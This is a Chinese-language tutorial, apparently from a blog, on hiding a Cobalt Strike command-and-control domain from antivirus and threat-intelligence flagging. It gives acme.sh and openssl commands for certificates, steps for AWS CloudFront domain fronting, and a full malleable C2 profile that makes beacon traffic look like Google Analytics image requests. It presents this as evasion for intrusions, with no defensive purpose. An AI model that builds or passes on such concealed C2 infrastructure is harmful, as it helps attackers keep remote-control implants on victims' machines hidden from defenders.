如何隐藏你的C2域名

平时在渗透中我们经常会遇到这样的情况:上传一个远控到windows上,马上就被杀毒给杀了,
然后杀毒给样本自动上传到云中心,过一次去查会会ip或域名已经被标记为恶意ip或远控ip,那么有没有方法来避免这样的情况呢?
答案是的,我们可以将cs的连接信息加密和主机头部也不会暴露cs的连接域名 。
一、申请域名在域名注册商申请一个域名,对后缀无特殊要求,某些注册一个x.com
二、解析域名用域名注册商自带的解析也行,此处用的是免费的cloudflare,把一个二级子域名解析到服务端的ip上面,改为test.x.com用A记录解析到192.168.1.1
三、申请域名证书此处用的是acme.sh,用DNS api申请了一个通配符证书,怎么申请请看acme.sh Wiki(https://github.com/acmesh-official/acme.sh/wiki/dnsapi),目前acme .sh总支持110个DNS API 。
用cloudfalreapi申请通配符证书:
exportCF_Token="sdfsdfsdfljlbjkljlkjsdfoiwje"acme.sh--issue --dns dns_cf -d x.com -d '*.x.com'安装证书并自动转换域名证书类型和重启cs服务端:
acme.sh--installcert -d x.com --keypath/usr/local/ssl/x.com.key --fullchainpath/usr/local/ssl/x.com.cer --reloadcmd"openssl pkcs12 -export -in /usr/local/ssl/x.com.cer -inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 -passoutpass:123456 &&systemctlrestart cobaltstrike.service"安装完成之后acme.sh会每天检查证书过期时间,大概在还有一个月过期的时候acme.sh会自动签发证书并执行安装命令reloadcmd
四、转换域名证书类型cs服务端只认识p12类型的证书,如果用acme.sh申请的话可以调用命令自动化转换域名证书
opensslpkcs12 -export -in /usr/local/ssl/x.com.cer -inkey/usr/local/ssl/x.com.key -out /usr/local/ssl/x.com.p12 -passoutpass:123456五、申请AWS CloudFront注册一个亚马逊账号,绑定支持visa,mastcard等支付的***并通过审核,不支持银联***,需要注意的是aws是后述模式
【如何隐藏你的C2域名】注册好了之后访问https://console.aws.amazon.com/cloudfront/home,申请一个cloudfront
申请过程中需要注意的地方:

如何隐藏你的C2域名

文章插图
 

如何隐藏你的C2域名

文章插图
 
创建完成之后aws会分配一个xxx.cloudfront.net的域名到账号下面,记录下这个域名,之后会用到 。
cloudfront不是免费的,可以了解下价格:
传出价格:
如何隐藏你的C2域名

文章插图
 
预期价格:
如何隐藏你的C2域名

文章插图
 
以及其他收费:
如何隐藏你的C2域名

文章插图
 
六、修改C2简介简介内容如下:
# makeour C2 look like a google Web Bug#https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting##Author: @armitagehackersetuseragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) likeGecko";http-get{set uri "/__utm.gif";client {parameter "utmac""UA-2202604-2";parameter "utmcn""1";parameter "utmcs""ISO-8859-1";parameter "utmsr""1280x1024";parameter "utmsc""32-bit";parameter "utmul""en-US";header "Host""*.cloudfront.net"; # 这里需要修改metadata {netbIOS;prepend "__utma";parameter"utmcc";}}server {header "Content-Type""image/gif";output {# hexdump pixel.gif# 0000000 47 49 46 38 39 6101 00 01 00 80 00 00 00 00 00# 0000010 ff ff ff 21 f9 0401 00 00 00 00 2c 00 00 00 00# 0000020 01 00 01 00 00 0201 44 00 3bprepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";print;}}} http-post{set uri "/___utm.gif";client {header "Content-Type""Application/octet-stream";id {prepend "UA-220";append "-2";parameter"utmac";}parameter "utmcn""1";parameter "utmcs""ISO-8859-1";parameter "utmsr""1280x1024";parameter "utmsc""32-bit";parameter "utmul""en-US";header "Host""*.cloudfront.net";# 这里需要修改output {print;}}server {header "Content-Type""image/gif";output { prepend"\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";prepend"\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";prepend"\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";print;}}} # dressup the staging process toohttp-stager{server {header "Content-Type""image/gif";}} https-certificate{set keystore "keystore.store";set password "123456";# 这里需要修改}


推荐阅读